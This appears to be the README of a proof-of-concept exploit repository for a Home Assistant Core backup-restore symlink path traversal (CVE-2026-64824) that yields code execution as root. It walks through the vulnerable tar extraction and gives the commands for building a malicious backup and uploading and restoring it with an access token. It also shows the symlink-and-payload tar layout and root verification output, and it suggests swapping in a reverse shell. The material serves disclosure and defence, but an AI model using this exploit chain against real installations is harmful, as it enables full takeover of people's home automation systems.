CVE-2026-64824 — Home Assistant Core Backup-Restore Symlink Path Traversal → RCE

CVSS 8.4 (Critical) · GHSA-cwh8-w64c-4j5h · CWE-22 / CWE-59

TL;DR

Authenticated (admin) attacker uploads a crafted backup tar. The restore path extracts the inner homeassistant.tar.gz with filter="fully_trusted" and only validates member names — never SYMTYPE linknames. A symlink pointing at an absolute path (e.g. Python's site-packages/) is honored, so a sitecustomize.py written after it lands outside the extraction dir as root (official Docker image runs HA as root). On the next Python start it is auto-imported → RCE as root.

Verified (2026-08-10)

✅ Real Home Assistant Core 2026.5.4 (Docker, arm64, Python 3.14.2):

POST /api/backup/upload?agent_id=backup.local  → 201 {"backup_id": "..."}
websocket backup/restore                      → executed (config replaced)

$ python3 -c 'print(1)'
$ ls -la /tmp/HA_PWNED_64824
-rw-r--r-- 1 root root 130 ... /tmp/HA_PWNED_64824
$ cat /tmp/HA_PWNED_64824
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),...

✅ sitecustomize.py landed in /usr/local/lib/python3.14/site-packages/ (root-owned)

✅ Negative check: Python 3.14.5 tarfile rejects absolute symlinks (FileExistsError); Python 3.14.2 (shipped with HA 2026.5.x) extracts them — this is why older builds are exploitable. Fixed in HA 2026.7.0.

The Bug

homeassistant/backup_restore.py (~v2026.5.x):

istf.extractall(
    path=Path(tempdir, "homeassistant"),
    members=securetar.secure_path(istf),   # validates member.name only!
    filter="fully_trusted",
)
# ... shutil.copytree(Path(tempdir, "homeassistant", "data"), config_dir, ...)

secure_path() rejects absolute names and .. traversal, but a SYMTYPE member with a benign name + absolute linkname passes the filter unchanged, and fully_trusted tells tarfile not to police it.

Exploit

# 1. Build malicious backup from a real HA backup
python3 CVE-2026-64824.py --build --backup real_backup.tar -o evil.tar \
    --link-target /usr/local/lib/python3.14/site-packages/

# 2. Upload + restore (token = long-lived access token)
python3 CVE-2026-64824.py --target http://ha:8123 --token <LLAT> --backup real_backup.tar

Backup format (v2, matches real HA backups):

outer: ./backup.json            {version:2, type:partial, compressed:true, protected:false}
outer: homeassistant.tar.gz
inner: data/evil_link           -> /usr/local/lib/python3.14/site-packages/   (SYMTYPE)
inner: data/evil_link/sitecustomize.py                                       (payload)

Any Python process start (HA restart, python3 ... in the container) triggers sitecustomize.py — which runs id > /tmp/HA_PWNED_64824 as root. Swap the payload for a reverse shell for full control.

Impact

• Full RCE as root on Home Assistant OS/Container installs
• Backup restore is reachable by any authenticated admin (and by users with backup/restore access), including via the UI "Restore backup" flow
• Since restore replaces the config dir first, the attack also works even when the config is otherwise locked down

Fix

Upgrade to HA 2026.7.0+ (restore now uses a strict tar filter that rejects symlink entries escaping the extraction directory).

Timeline

• 2026-07: Vulnerability disclosed by VulnCheck, GHSA-cwh8-w64c-4j5h published
• 2026-08-10: This PoC — first public working exploit with full root RCE verification on a real 2026.5.4 instance
• No in-the-wild exploitation observed at publication time

Disclaimer

Research/educational purposes only. The vulnerability was already disclosed (GHSA-cwh8-w64c-4j5h) and fixed in 2026.7.0; this repository demonstrates the exploitation chain for defenders and researchers.